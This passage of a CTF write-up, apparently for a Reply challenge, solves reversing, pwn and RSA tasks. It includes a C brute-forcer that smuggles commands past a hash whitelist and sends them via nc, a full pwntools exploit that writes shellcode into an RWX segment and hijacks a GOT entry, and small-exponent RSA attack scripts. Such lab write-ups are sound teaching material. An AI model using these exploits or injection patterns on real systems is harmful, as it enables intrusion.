var _0x51ae10 = 'de';
var _0x4076f4 = 'xx';
var _0x3850a1 = 's ';
var _0x1c43dd = 'zz';
var _0x4716f0 = 'a ';
var _0x4b6831 = 'qs';
var _0x89ac55 = 'v ';
var _0x30b4a1 = 'mn';
var _0x413219 = 'l ';
var _0x36d369 = 'Z ';
var _0x524039 = 'sd';
var _0xa327f3 = 'A ';
var _0x7d3821 = '2A';
var _0x10e0ef = 'de';
var _0x4ed828 = 'H3';
var _0x3074ac = 'jH';
var _0x2b36c7 = 'g2';
var _0x49a2e2 = 'x0';
var _0x176ef7 = 'Q3';
var _0x47f001 = 's3';
var _0x950c82 = 'F';
var _0x117f90 = 'Ad';
var _0x5bdb3f = 'as';
var _0x4f9482 = 'uG';
var _0x17699b = 'f3';
var _0x346ddc = 'z0';
var _0x168acd = 'Pr';
var _0x4ed77d = 'e3';
var _0x3045ae = 'as';
var _0x5d7ca4 = 'ASFG';
console.log(Reflection['ttt'](reverse_string(_0x51ae10['concat'](_0x4076f4)['concat'](_0x3850a1)['concat'](_0x1c43dd)['concat'](_0x4716f0)['concat'](_0x4b6831)['concat'](_0x89ac55)['concat'](_0x30b4a1)['concat'](_0x413219)['concat'](_0x36d369)['concat'](_0x524039)['concat'](_0xa327f3)['concat'](_0x7d3821)['concat'](_0x10e0ef)['concat'](_0x4ed828)['concat'](_0x3074ac)['concat'](_0x2b36c7)['concat'](_0x49a2e2)['concat'](_0x176ef7)['concat'](_0x47f001)['concat'](_0x950c82)['concat'](_0x117f90)['concat'](_0x5bdb3f)['concat'](_0x4f9482)['concat'](_0x17699b)['concat'](_0x346ddc)['concat'](_0x168acd)['concat'](_0x4ed77d)['concat'](_0x3045ae)['concat'](_0x5d7ca4))));
return Reflection['ttt'](reverse_string(_0x51ae10['concat'](_0x4076f4)['concat'](_0x3850a1)['concat'](_0x1c43dd)['concat'](_0x4716f0)['concat'](_0x4b6831)['concat'](_0x89ac55)['concat'](_0x30b4a1)['concat'](_0x413219)['concat'](_0x36d369)['concat'](_0x524039)['concat'](_0xa327f3)['concat'](_0x7d3821)['concat'](_0x10e0ef)['concat'](_0x4ed828)['concat'](_0x3074ac)['concat'](_0x2b36c7)['concat'](_0x49a2e2)['concat'](_0x176ef7)['concat'](_0x47f001)['concat'](_0x950c82)['concat'](_0x117f90)['concat'](_0x5bdb3f)['concat'](_0x4f9482)['concat'](_0x17699b)['concat'](_0x346ddc)['concat'](_0x168acd)['concat'](_0x4ed77d)['concat'](_0x3045ae)['concat'](_0x5d7ca4)));
},
'swan': function(data) {
// var _0x30c390 = Reflection['ttt'];
var magic = 'AbCdeF123 4vGh0O$',
table = '',
result = '',
key = md5(data);
Reflection['ttt'] = rot13;
if (key === Reflection['_o0']){
table = Reflection['_00']();
}
else {
table = Reflection['_0o']();
}
console.log("Table:" + table)
var table = table['split']('');
for (var i = 0x0; i < table['length']; i++) {
if (table[i] != ' ') {
table[i] = magic[Math['floor'](Math['random']() * magic['length'])];
result += table[i];
} else {
result += ' ';
}
}
return result;
},
'ttt': function(data) {
return data['toLowerCase']();
}
};
function reverse_string(str) {
return str['split']('')['reverse']()['join']('');
}
function rot13(data) {
return (data + '')['replace'](/[a-zA-Z]/gi, function(arg) {
return String['fromCharCode'](
arg['charCodeAt'](0x0) + (
arg['toLowerCase']() < 'n' ? 0xd: -0xd
)
);
});
}
Reflection['_00'] = function() {
/*
"gfsasa3erp0z3fgusadaf3s3q0x2ghj3heda2 ads z lnm vsq azz sxxed"
Reflection['_00']()
"gel jvgu zvffvat punenpgref... naq v fnl vgf nyy evtug"
"try with missing characters... And I say its all right"
*/
var _0x59d52f = 'gu';
var _0x1be54d = 'tv';
var _0x395e49 = 'e ';
var _0x327d60 = 'yy';
var _0xabf61b = 'n ';
var _0x3eb796 = 'fg';
var _0x514e41 = 'v ';
var _0x41de44 = 'ln';
var _0x52e625 = 'f ';
var _0x71da2f = 'V ';
var _0x1e2340 = 'qa';
var _0x42dd32 = 'N ';
var _0x48d20d = '!}';
var _0x38037e = 'ah';
var _0x6c87f6 = 'F3';
var _0x316239 = 'uG';
var _0x3f4bcb = 'f3';
var _0x2526d1 = 'z0';
var _0x605702 = 'P3';
var _0x1189b8 = 'e3';
var _0x435cfe = 'U';
var _0x16a9f5 = 'Ah';
var _0xd46d0 = 'F3';
var _0xcea26b = 'uG';
var _0x50748c = 'f3';
var _0x39f3fc = 'z0';
var _0x4d8d1a = 'Pr';
var _0x336168 = 'e3';
var _0x554096 = 'U:';
var _0x2dea0f = 'TYS{';
var _0x145003 = 'fe';
var _0x215914 = 'rg';
var _0x3d6887 = 'pn';
var _0x480781 = 'en';
var _0x3a60af = 'up';
var _0x3fa7ae = ' t';
var _0x169340 = 'av';
var _0x566782 = 'ff';
var _0x331c75 = 'vz';
var _0x3383e3 = ' u';
var _0x535e1d = 'gv';
var _0x2db1fe = 'j ';
var _0x437e83 = 'leg';
var _0x215c12 = '...';
console.log(reverse_string(_0x59d52f['concat'](_0x1be54d)['concat'](_0x395e49)['concat'](_0x327d60)['concat'](_0xabf61b)['concat'](_0x3eb796)['concat'](_0x514e41)['concat'](_0x41de44)['concat'](_0x52e625)['concat'](_0x71da2f)['concat'](_0x1e2340)['concat'](_0x42dd32)['concat'](_0x215c12)['concat'](_0x145003)['concat'](_0x215914)['concat'](_0x3d6887)['concat'](_0x480781)['concat'](_0x3a60af)['concat'](_0x3fa7ae)['concat'](_0x169340)['concat'](_0x566782)['concat'](_0x331c75)['concat'](_0x3383e3)['concat'](_0x535e1d)['concat'](_0x2db1fe)['concat'](_0x437e83)));
return Reflection['ttt'](reverse_string(_0x59d52f['concat'](_0x1be54d)['concat'](_0x395e49)['concat'](_0x327d60)['concat'](_0xabf61b)['concat'](_0x3eb796)['concat'](_0x514e41)['concat'](_0x41de44)['concat'](_0x52e625)['concat'](_0x71da2f)['concat'](_0x1e2340)['concat'](_0x42dd32)['concat'](_0x215c12)['concat'](_0x145003)['concat'](_0x215914)['concat'](_0x3d6887)['concat'](_0x480781)['concat'](_0x3a60af)['concat'](_0x3fa7ae)['concat'](_0x169340)['concat'](_0x566782)['concat'](_0x331c75)['concat'](_0x3383e3)['concat'](_0x535e1d)['concat'](_0x2db1fe)['concat'](_0x437e83)));
}
function randomString() {
var data = '';
var charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (var i = 0x0; i < 0x5; i++){
data += charset['charAt'](Math['floor'](Math['random']() * charset['length']));
}
data = 'reply'
Reflect['set'](Reflection, '_o0', 'E84AFAAB83ECB301B3D97CE4174D2773');
return Reflection['swan'](data);
}
## BIN
#### BIN 100
TODO: 土味英语，需要润色
After analyze the program, I found that this program just like a sandbox where
we can execute some command.
Look at this help menu:
===============
| HELP MENU |
===============
| * uname |
| * help |
| * exit |
| * pwd |
| * ls |
| * ps |
| * id |
===============
It provides a list of commands that we can execute.
type `ls`, ahhh, there is a `flag.txt` under the working directory.
but how can we get the content of the `flag.txt`, if we type `cat flag.txt`,
we will receive response of `Invalid command`. And we can execute command like
`ps aux`, `uname -a` that are not provided in the help menu. but `ls -al` will
failed... It's a little wired.
An questions occured in my mind, how does this program check the input is
valid or not? a white list?
So we should dig deeper...
I try to find some command string like:
ls
ps
ps aux
uname -a
but failed, these command is not in the `.data` segment or other segments.
these is a function (0x000014B8)
it takes the pointer of our input string, and returns a value.
then it involves the while loop at most 16 time to check whether the value
equals to something.
I suppose that is a hash function.
And this function maps the user input space to a 2byte space.
so it leads to a hash collision attack
to execute arbitary command, all we need to do is brute force some bytes which
will not effect the command you want to execute
so this is the pattern I used
`[COMMAND]&&echo [JUNK]`
the command we want to execute is `cat flag.txt` (or `cat *`)
so we just need to brute force the `[JUNK]`
we put the whole command as argument into the hash function, keep trying until
the return value appears in the built-in 8 values.
unsigned short builtin[] = {
0xC027, 0x2564, 0x5772, 0xE56C, 0x3A96, 0x462C, 0xDB2E, 0xBB2F
};
talk is cheap, code like this:
#include <stdio.h>
char data[0x400] = {0};
char * hash(char *result, unsigned int length)
{
int v2; // r4
char *v3; // r2
char v4; // t1
char *v5; // r5
unsigned int v6; // lr
signed int v7; // r12
int v8; // r12
signed int v9; // r3
signed int v10; // r9
int v11; // r8
signed int v12; // r3
signed int v13; // r12
unsigned int v14; // r3
char v15; // r12
unsigned int v16; // r3
char v17; // r12
unsigned int v18; // r3
char v19; // r12
unsigned int v20; // r3
char v21; // r12
unsigned int v22; // r3
char v23; // lr
unsigned int v24; // r3
v2 = (unsigned char)data[0];
if ( data[0] )
{
if ( !result )
return result;
goto LABEL_3;
}
v5 = &data[2];
do
{
v6 = (unsigned short)v2++;
if ( v6 & 1 )
v7 = -24575;
else
v7 = 0;
v8 = v7 ^ (v6 >> 1);
if ( v6 & 1 )
v9 = 30720;
else
v9 = 20480;
if ( v6 & 1 )
v10 = 10240;
else
v10 = 0;
v11 = v8 & 1;
if ( v8 & 1 )
v10 = v9;
if ( v6 & 1 )
v12 = 20480;
else
v12 = 0;
if ( v6 & 1 )
v13 = -4095;
else
v13 = -24575;
if ( !v11 )
v13 = v12;
v14 = v10 ^ 0xA001;
if ( !((v13 ^ (v6 >> 2)) & 1) )
v14 = v10;
v15 = v14 ^ (v6 >> 3);
v16 = v14 >> 1;
if ( v15 & 1 )
v16 ^= 0xA001u;
v17 = v16 ^ (v6 >> 4);
v18 = v16 >> 1;
if ( v17 & 1 )
v18 ^= 0xA001u;
v19 = v18 ^ (v6 >> 5);
v20 = v18 >> 1;
if ( v19 & 1 )
v20 ^= 0xA001u;
v21 = v20 ^ (v6 >> 6);
v22 = v20 >> 1;
if ( v21 & 1 )
v22 ^= 0xA001u;
v23 = v22 ^ (v6 >> 7);
v24 = v22 >> 1;
if ( v23 & 1 )
*((short *)&v24) = v24 ^ 0xA001;
*((short *)v5 + 1) = v24;
v5 += 2;
}
while ( v2 != 256 );
data[0] = 1;
if ( result )
{
LABEL_3:
if ( length )
{
v3 = &result[length];
length = 0;
do
{
v4 = *result++;
length = *(unsigned short *)&data[2 * (unsigned char)(v4 ^ length) + 4] ^ (length >> 8);
}
while ( result != v3 );
}
result = (char *)length;
}
return result;
}
int main(int argc, char** argv){
// char* command = "cat flag.txt";
char* command = argv[1];
char* password = "L39ZTvwaHegpVb9";
char* host = "challengebox.reply.it";
int port = 42763;
char buffer[0x400] = {0};
unsigned char i = 0;
unsigned char j = 0;
unsigned char k = 0;
unsigned int l = 0;
unsigned short result = 0;
unsigned short table[] = {
0xC027, 0x2564, 0x5772, 0xE56C, 0x3A96, 0x462C, 0xDB2E, 0xBB2F
};
for(i = 0x20; i<0x80; i++){
for(j = 0x20; j<0x80; j++){
for(k = 0x20; k<0x80; k++){
sprintf(buffer, "%s&&echo %c%c%c",command,i,j,k);
result = hash(buffer, strlen(buffer));
for(l = 0; l<sizeof(table); l++){
if(result == table[l]) {
goto FOUND;
}
}
}
}
}
FOUND:
printf("python -c 'print \"%s\\n%s&&echo \\x%02x\\x%02x\\x%02x\\n\"'|nc %s %d", password, command, i, j, k, host, port);
}
#### BIN 200
The main function consists of lots of if statements like:
Most of them are useless, but i found some of these if statements judge the
single byte of flag is right or wrong，such as
if ( (unsigned __int8)(a2[1][16] + 73) != 155 )
return 0xFFFFFFFFLL;
it checks a byte of flag is right or wrong, so i searched all the if
statements like this and calculate the flag.
#### BIN 300
This is a challenge of architecture gameboy, I am used to use radare2 to
analyze this kind of rev challenges. But I have to do other preparation before
it.
First I google this architecture and then find that it's cpu architecture of
GBA. And It's easily to find relative documents and tools about it, this is
helpful.
I found some emulators to run the rb file on
[emuparadise](https://www.emuparadise.me/Nintendo_Gameboy_Advance_Emulators/31).
What I see is shown below when I run the challenge file with
visualboyadvance-m:
It's just a picture and seems to be helpless. But we can search the string in
r2 with cmd`izz~R-Boy found this` and find a string at offset 0xa32. I think
the string may lead to sth, so I find reference to that string with`pd
2048~a32`. This command show following asm code:
| 0x000001c7 cd5a32 call fcn.0000325a
| 0x000008a6 11320a ld de, 0x0a32
,===< 0x00000a32 2052 jr nZ, 0x52
It's easily to tell that code at 0x8a6 refer to that string. So I seek to that
place ad analyze that function at 0x883
| 0x000008a6 11320a ld de, 0x0a32
| 0x000008a9 d5 push de
| 0x000008aa cdf812 call fcn.000012f8
It's easy to know that fcn.000012f8 is a print function by patching the call
and rerun the program in emulator.
I noticed that there are another 2 references to fcn.000012f8 by typing `axt @
fcn.000012f8`, they are probably going to print flag. So I check them, and
found that call at 0x05a6 take parameter "%c".
Wow, we may be very close, so I analyze the function at 0x52a, and find
something like check, and after those checks, there is a loop that call
likely`show("%c", b)`:
we can find that what the "%c" print are bytes which are xor result of a given
string "A|v}\x00m\x09Sh^ewzYR\x0dT\x09eohvG" and another byte from our
joypad's input.
Since there is only one byte we can bruteforce it and finaly we get the flag:
`{FLG:W3iRd_M@ch7n3_URL}`
#### BIN 400
At the first look at the program, I'm quite sure it's about protocol reversing
though It's a pwn finally. And after some reverse engineering, I conclude the
operations we can take provided by the program:
write memory
read memory
calculate
and
rshift
xor
assign
lshift
sub
mul
or
add
all these operations are relative to 11 registers on stack. and all operations
are done with those regs, for example the write operation are going to write
address which stored in the memory. There are many details about the protocol
you'd better reverse the program yourself to understand all of them.
Now we've known we can store any value in our stack registers and then read
and write arbitrary memory, the next to do is to get shell. But before that we
have to solve some problems.
First thing to solve is how to get the memory address we need. Note that, we
have can only send one packet with commands and the server will not give us
any feedback, and the checksec shows:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RWX: Has RWX segments
That reveals that we can write GOT, we can write shellcode to rwx segment, but
we don't know where the elf is loaded.
To solve this problem, we can use the first vunerablity of the program, that
is the program doesn't initialize the registers on stack, and addresses we
need can be found there. In fact, we can find address in elf address space and
address in libc space. To use the libc addr I have to dump the libc, but it's
not efficient. But with the elf addr we can calculate address of GOT and
address of RWX segment, then we can write shellcode to rwx segment and modify
fprintf got entry and triger it by appending an invalid command item to our
packet.
The second problem is how we get the output of program since the fd of tcp
connection is dup to a random value? The problem is easy to solve but take me
lots of time because of some accident try. We only need to write a loop in our
shellcode to write content to every fd, It eventually will write flag to our
terminal. So the shellcode need to do follow things:
open flag.txt
read flag.txt to buf
set fd to 4
tag:
write to fd
inc fd
jmp to tag
(PS: You can't open a shell or do reverse shell binding because the program is
totally based on tcp connection and chroot to user directory)
Here is full exp:
from pwn import *
from time import sleep
from keystone import *
from keystone.x86_const import *
MODE_8 = 0x10
MODE_16 = 0x8
MODE_32 = 0
MODE_64 = 0x18
MODE_REG = 8
MODE_IMM = 0
OP_AND = 0x80
OP_RSHIFT = 0x70
OP_XOR = 0xA0
OP_ASSIGN = 0xB0
OP_LSHIFT = 0x60
OP_SUB = 0x10
OP_MULTIPLE = 0x20
OP_OR = 0x40
OP_ADD = 0x00
def rmt_write(src, dst, offset, mode):
cmd = 0
cmd |= 3 # class type
cmd |= 0x60 # mode
cmd |= mode # bit mode
reg = src << 4 | dst # regs
cmd |= reg << 8
cmd |= offset << 16 # offset
return cmd
def rmt_read(src, dst, offset, mode):
cmd = 0
cmd |= 0 # class type
cmd |= 0x40 # mode
cmd |= mode # bit mode
reg = src << 4 | dst # regs
cmd |= reg << 8
cmd |= offset << 16 # offset
return cmd
def rmt_calc(dst, value, op, mode=MODE_IMM):
cmd = 0
cmd |= 7 # class type
cmd |= mode
cmd |= op # op
cmd |= dst << 8 # dst
if mode == MODE_IMM:
cmd |= value << 32 # value
else:
cmd |= value << 12 # src
return cmd
def pack_cmds(cmds):
packet = ''
for cmd in cmds:
packet += p64(cmd)
return packet
cmds = [rmt_write(10, 10, 0, MODE_16)]
sc_value = []
context.arch='amd64'
sc_asm = '''
xor rdx, rdx
xor rsi, rsi
xor rbx, rbx
push 0
mov rbx, 0x7478742e67616c66
push rbx
mov rbx, rsp
push rbx
pop rdi
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x800
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 4
tag:
xor rcx, rcx
mov rax, 1
syscall
inc rdi
jmp tag
'''
ks = Ks(KS_ARCH_X86, KS_MODE_64)
shellcode = ''.join(map(lambda c:chr(c), ks.asm(sc_asm)[0]))
for i in range(0, len(shellcode), 8):
sc_value.append(u64(shellcode[i:i+8].ljust(8, '\x00')))
# get elf base at reg4
leak_item = 7
cmds.append(rmt_calc(leak_item, 0x555555557333 - 0x555555554000, OP_SUB, MODE_IMM))
# get rwx base at reg1
cmds.append(rmt_calc(1, leak_item, OP_ASSIGN, MODE_REG))
cmds.append(rmt_calc(1, 0x555555562000 - 0x555555554000, OP_ADD, MODE_IMM))
# write shell code to rwx segment
offset = 0
for val in sc_value:
val_hi = (val >> 32) & 0xffffffff
val_low = val & 0xffffffff
cmds.append(rmt_calc(10, val_hi, OP_ASSIGN, MODE_IMM))
cmds.append(rmt_calc(9, val_low, OP_ASSIGN, MODE_IMM))
cmds.append(rmt_calc(8, 32, OP_ASSIGN, MODE_IMM))
cmds.append(rmt_calc(10, 8, OP_LSHIFT, MODE_REG))
cmds.append(rmt_calc(10, 9, OP_OR, MODE_REG))
cmds.append(rmt_write(10, 1, offset, MODE_64))
offset += 8
# get got addr at reg2
cmds.append(rmt_calc(2, leak_item, OP_ASSIGN, MODE_REG))
cmds.append(rmt_calc(2, 0x60C0, OP_ADD, MODE_IMM))
# write got to shellcode addr
cmds.append(rmt_write(1, 2, 0, MODE_64))
cmds.append(0xffffffffffffffff)
context.log_level='debug'
# io = remote("10.211.55.11", 52112)
io = remote("challengebox.reply.it", 52112)
io.sendlineafter('Password:', "workbenchzebra")
sleep(1)
io.send(p16(len(cmds) * 8))
sleep(1)
io.send(pack_cmds(cmds))
io.interactive()
## CRYPTO
#### CRYPTO 100
This challenge gives us a encrypt script and the encrypted file. After analyse
the script i found the key is the md5 of a unknow string, and the key just xor
the first 32 bytes of plaintext. Once a byte of plaintext was encrypted by
key,it will be added to the end of the key and encrypt the thirty-second byte
in plaintext behind it.
so we can know that:
whole key = md5 + plaintext[0:len(plainttext-32)]
The last 65 bytes of plaintext were given to us,so we can use these bytes we
know to xor the ciphertext and recover the plaintext.
#### CRYPTO 200
we are given a file,format is data.
$ xxd encrypted
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0004 81eb bfd9 ................
00000040: d5fc af91 5145 658f af3a 0e86 cd8b d388 ....QEe..:......
00000050: 3672 699c ed7d 6387 e0e3 a3fa 68c4 921f 6ri..}c.....h...
00000060: 490e 9ef1 abdc 9f27 ed5f 63e5 add5 7148 I......'._c...qH
00000070: 4239 ebfe a878 af5e e85d 54aa de15 d938 B9...x.^.]T....8
00000080: 467b 92cc 8c07 eb4c d8f1 7c14 295b 2986 F{.....L..|.)[).
00000090: 036d d3b9 ad2d ebd1 4888 0d95 68de 2977 .m...-..H...h.)w
000000a0: f025 2289 0cb9 47d0 4b3c 3f8f 8b92 3a04 .%"...G.K<?...:.
000000b0: e6e6 97d4 94ea 691d 785f 27b8 32d7 42da ......i.x_'.2.B.
000000c0: e5c9 9d20 6400 f008 3120 2063 31df 292b ... d...1 c1.)+
000000d0: 2e4e b3a8 c847 7479 429d fcc6 2d55 2993 .N...GtyB...-U).
000000e0: 243e c46d 2bfe a96e afee 0d43 2fe9 4b9f $>.m+..n...C/.K.
000000f0: ff69 106d 8a16 5e01 271a 19d1 be74 2517 .i.m..^.'....t%.
No idea at all how to deal with such file. The organizer gives a hint:
**RSA**.OMG!!!, this is a rsa encrypted ciphertext, since N is very big and e
== 3, so just iroot will recover the message.
In [88]: c = libnum.s2n(open("encrypted","rb").read())
In [89]: gmpy2.iroot(c,3)
Out[89]:
(mpz(36001706850048626081616756397544766323378529843646894139063979460807316087805406326896319186794271430700374100321464141081227735087166902804037513083134309703L),
True)
In [90]: m = libnum.n2s(3600170685004862608161675639754476632337852984364689413906397946
...: 0807316087805406326896319186794271430700374100321464141081227735087166902804037
...: 513083134309703L)
In [91]: m
Out[91]: '\n}!Erc33Qre0Z:TYS{ :ryvs CVM rug ebs qrra hbl qebjffnc rug fv fvuG'
In [92]: m[::-1]
Out[92]: 'Guvf vf gur cnffjbeq lbh arrq sbe gur MVC svyr: {SYT:Z0erQ33crE!}\n'
the message is encrypted with rot13, so recover the flag easily with
[rot13](https://www.rot13.com/):
> flag: This is the password you need for the ZIP file: {FLG:M0reD33peR!}\a
>
> #### CRYPTO 300
>
> The task is a zip file.After unzip it, we get following message:
> ```bash
> $ tree -al
> .
> └── home
> ├── .cargo
> │ └── bin
> │ └── base100
> ├── .keys
> │ ├── pubkey1.pem
> │ ├── pubkey2.pem
> │ └── pubkey3.pem
> └── Mail
> └── mbox
5 directories, 5 files
Gather infomation about this task.
> [base100](https://github.com/AdamNiederer/base100)
> three public key with same small e=3, different n, where n1,n2,n3 are coprime!!! **RSA Broadcast Attack**
```python
In [1]: from Crypto.PublicKey import RSA
...: import libnum
...: import gmpy2
...: from base64 import b64decode
...:
...: pubkey1 = RSA.importKey(open("pubkey1.pem").read())
...: pubkey2 = RSA.importKey(open("pubkey2.pem").read())
...: pubkey3 = RSA.importKey(open("pubkey3.pem").read())
...:
...: print pubkey1.e
...: print pubkey1.n
...: print pubkey2.e
...: print pubkey2.n
...: print pubkey3.e
...: print pubkey3.n
...:
3
27461240938102113200897173472967117338353862970941479631898743934439184197969934730421588916770108706224321742970311802597907483875609117760952915265756915294486519317125835465418552076936263931036418365556660176672606176106318417615958887675615338303963762961998856932289910599261987402794316615599785954321753677197523630402223417275683243800227784909335489404425069775641916510995967254516594807225839598278056365795172532519304391163607769926236805051039642128965112622904014731728182688108488411683515618049320040345518530697006867452564716512399415241092660425414925204178980508521843356874071745125098712077791
3
25729532341092451294531240603979387891663269068925054494644386447578709538200549712194324331007743028407877103888307741934091188143756407222013624779702720382290917003294354053966450051814520421244144339391097773024828092387419578916453522185035851539262003539885806395088735959181862514614229921786903329704181960249900130677918888765813680940161977058425292413968501075642196333018628709714141901549219827667311632057818616952262615085737788512392215874195073722498312750592119469762621027655590907702680840657024789619809001294983274111682135324576250517371609393192128069012335661245230141212036326263247368005689
3
29661948132724964616095227795746368402358545784349784235600286377577202933753742052817012601591239801737226934962433653612275935566949707251578632051160376815074974965336910509163875821813472719201779847254599350700653608857398233061073396334555963939196712932498499399996860568569382780663583671102602093159824399656695189722850049090469151885610779385863063132511776225957936227987230406946647771700809951438597193908730256108719036670783287005944737089408722773951543044620377048323576847162239724281695947755648729836251903019780637774106001635595520380198874977211295888721560409084906124570980428674700109696853
> mbox contains three ciphertexts encrypted with three rsa public key the
> encrypted with base100.
**broadcast attack on rsa solver.py**
import libnum
from functools import reduce
import gmpy
import json, binascii
def modinv(a, m):
return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m)))
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * modinv(p, n_i) * p
return int(sum % prod)
nset = []
cset = []
nset.append(pubkey1.n)
nset.append(pubkey2.n)
nset.append(pubkey3.n)
cset.append(libnum.s2n(cc1))
cset.append(libnum.s2n(cc2))
cset.append(libnum.s2n(cc3))
m = chinese_remainder(nset, cset)
m = int(gmpy.mpz(m).root(3)[0])
print libnum.n2s(m)
#plaintext
'''T\xf8\xb5a\xceT\x8a\xe0\xad\x93vO/7\xfa\xd2\xb1\xb3H\xf9R\xc2\xbf\x85_\x80\xb9\x86\xda!\x19\xd4~\x14y\xbaO\x93\xb9\xbd<\x85\x8e\xf2\xd4\xe5\xbb\t\x9daD\xea\xfb\xd3u\xa6\xd3m\x00\xbd\xbeyE\x1f+\xc0\x02/r\x00!\x02\xcb\xb5\xbf\xb0\xb1\xbaVK\x8e\x17\x17$\x07x\xc0\xe8v\x9e )\xd0 a\xbd\xf7\xda\xbf\xf8\x97\xc30;k\xf8\x10\x91\x8f\x9aC\x8e,\xf2H\x9c\xa4HU\xcc\x8b\xd6\x86\x98\xe1\x89\x16`.\xe1\x18\xff\xb5\x9b\x95 H\x05\xdb\x81\xfaq+\x93\x90edRV\x13x\xd4\xcbS\xd6q\x8e\xc5\xcfoht\xce9\xf8\x14\xe2\xb0\xf5 \x00\x86! Q\xa4O\xa3\xf9\x96L\xb7\xd7\x0f\xa6\xa8\xd1\xecKy#%U.\x9e\xc9\x99a\xc6\xa7!\x1e\xb0\xeb\xc5\x10\x12[\xc3\x00k\xc9eQi\xbbt@8@\xf8\xd3\x8a\xb9\x84\xba\x8bk\xe31\xc2\xc8]&\xde\x03\x1d\xdd>\xed\xd6\xc1\xfcl|\xd9\x00\x02\xb2\xdf\xf4=\x975\x99
'''
FLAG is not in the plaintext, so the plaintext must padded. After google. i
found this common padding scheme for
rsa:[OAEP](https://tools.ietf.org/html/rfc3447#section-7.1)
**unpadding script modified on[github](https://github.com/bdauvergne/python-pkcs1)**
import hashlib
import binascii
import exceptions
def xor(a, b):
return ''.join(chr(ord(i) ^ ord(j)) for i, j in zip(a, b))
def integer_ceil(a, b):
'''Return the ceil integer of a div b.'''
quanta, mod = divmod(a, b)
if mod:
quanta += 1
return quanta
def integer_byte_size(n):
'''Returns the number of bytes necessary to store the integer n.'''
quanta, mod = divmod(integer_bit_size(n), 8)
if mod or n == 0:
quanta += 1
return quanta
def integer_bit_size(n):
'''Returns the number of bits necessary to store the integer n.'''
if n == 0:
return 1
s = 0
while n:
s += 1
n >>= 1
return s
def bezout(a, b):
'''Compute the bezout algorithm of a and b, i.e. it returns u, v, p such as:
p = GCD(a,b)
a * u + b * v = p
Copied from http://www.labri.fr/perso/betrema/deug/poly/euclide.html.
'''
u = 1
v = 0
s = 0
t = 1
while b > 0:
q = a // b
r = a % b
a = b
b = r
tmp = s
s = u - q * s
u = tmp
tmp = t
t = v - q * t
v = tmp
return u, v, a
def i2osp(x, x_len):
'''Converts the integer x to its big-endian representation of length
x_len.
'''
if x > 256**x_len:
raise exceptions.IntegerTooLarge
h = hex(x)[2:]
if h[-1] == 'L':
h = h[:-1]
if len(h) & 1 == 1:
h = '0%s' % h
x = binascii.unhexlify(h)
return b'\x00' * int(x_len-len(x)) + x
def os2ip(x):
'''Converts the byte string x representing an integer reprented using the
big-endian convient to an integer.
'''
h = binascii.hexlify(x)
return int(h, 16)
def mgf1(mgf_seed, mask_len, hash_class=hashlib.sha1):
'''
Mask Generation Function v1 from the PKCS#1 v2.0 standard.
mgs_seed - the seed, a byte string
mask_len - the length of the mask to generate
hash_class - the digest algorithm to use, default is SHA1
Return value: a pseudo-random mask, as a byte string
'''
h_len = hash_class().digest_size
if mask_len > 0x10000:
raise ValueError('mask too long')
T = b''
for i in xrange(0, integer_ceil(mask_len, h_len)):
C = i2osp(i, 4)
T = T + hash_class(mgf_seed + C).digest()
return T[:mask_len]
def decrypt(label=b'', hash_class=hashlib.sha1,
mgf=mgf1):
'''Decrypt a byte message using a RSA private key and the OAEP wrapping algorithm,
Parameters:
public_key - an RSA public key
message - a byte string
label - a label a per-se PKCS#1 standard
hash_class - a Python class for a message digest algorithme respecting
the hashlib interface
mgf1 - a mask generation function
Return value:
the string before encryption (decrypted)
'''
hash = hash_class()
h_len = hash.digest_size
k = 256
em = '\x00T\xf8\xb5a\xceT\x8a\xe0\xad\x93vO/7\xfa\xd2\xb1\xb3H\xf9R\xc2\xbf\x85_\x80\xb9\x86\xda!\x19\xd4~\x14y\xbaO\x93\xb9\xbd<\x85\x8e\xf2\xd4\xe5\xbb\t\x9daD\xea\xfb\xd3u\xa6\xd3m\x00\xbd\xbeyE\x1f+\xc0\x02/r\x00!\x02\xcb\xb5\xbf\xb0\xb1\xbaVK\x8e\x17\x17$\x07x\xc0\xe8v\x9e )\xd0 a\xbd\xf7\xda\xbf\xf8\x97\xc30;k\xf8\x10\x91\x8f\x9aC\x8e,\xf2H\x9c\xa4HU\xcc\x8b\xd6\x86\x98\xe1\x89\x16`.\xe1\x18\xff\xb5\x9b\x95 H\x05\xdb\x81\xfaq+\x93\x90edRV\x13x\xd4\xcbS\xd6q\x8e\xc5\xcfoht\xce9\xf8\x14\xe2\xb0\xf5 \x00\x86! Q\xa4O\xa3\xf9\x96L\xb7\xd7\x0f\xa6\xa8\xd1\xecKy#%U.\x9e\xc9\x99a\xc6\xa7!\x1e\xb0\xeb\xc5\x10\x12[\xc3\x00k\xc9eQi\xbbt@8@\xf8\xd3\x8a\xb9\x84\xba\x8bk\xe31\xc2\xc8]&\xde\x03\x1d\xdd>\xed\xd6\xc1\xfcl|\xd9\x00\x02\xb2\xdf\xf4=\x975\x99'
# 4. EME-OAEP decoding
hash.update(label)
label_hash = hash.digest()
y, masked_seed, masked_db = em[0], em[1:h_len+1], em[1+h_len:]
if y != b'\x00' and y != 0:
raise ValueError('decryption error')
seed_mask = mgf(masked_db, h_len)
seed = xor(masked_seed, seed_mask)
db_mask = mgf(seed, k - h_len - 1)
db = xor(masked_db, db_mask)
label_hash_prime, rest = db[:h_len], db[h_len:]
i = rest.find(b'\x01')
if i == -1:
raise exceptions.DecryptionError
if rest[:i].strip(b'\x00') != b'':
print(rest[:i].strip(b'\x00'))
raise exceptions.DecryptionError
m = rest[i+1:]
if label_hash_prime != label_hash:
raise exceptions.DecryptionError
return m
print decrypt()
> output
>
>
> $ python rsaes_oaep.py
> The password is {FLG:Us3fUlB@ckUp}. Do not tell anyone!
>
#### CRYPTO 400
the task gives three ciphertext
1P3riYWcuvPwhXMjU5Z8U+zKFCpuYyGpZrQJ
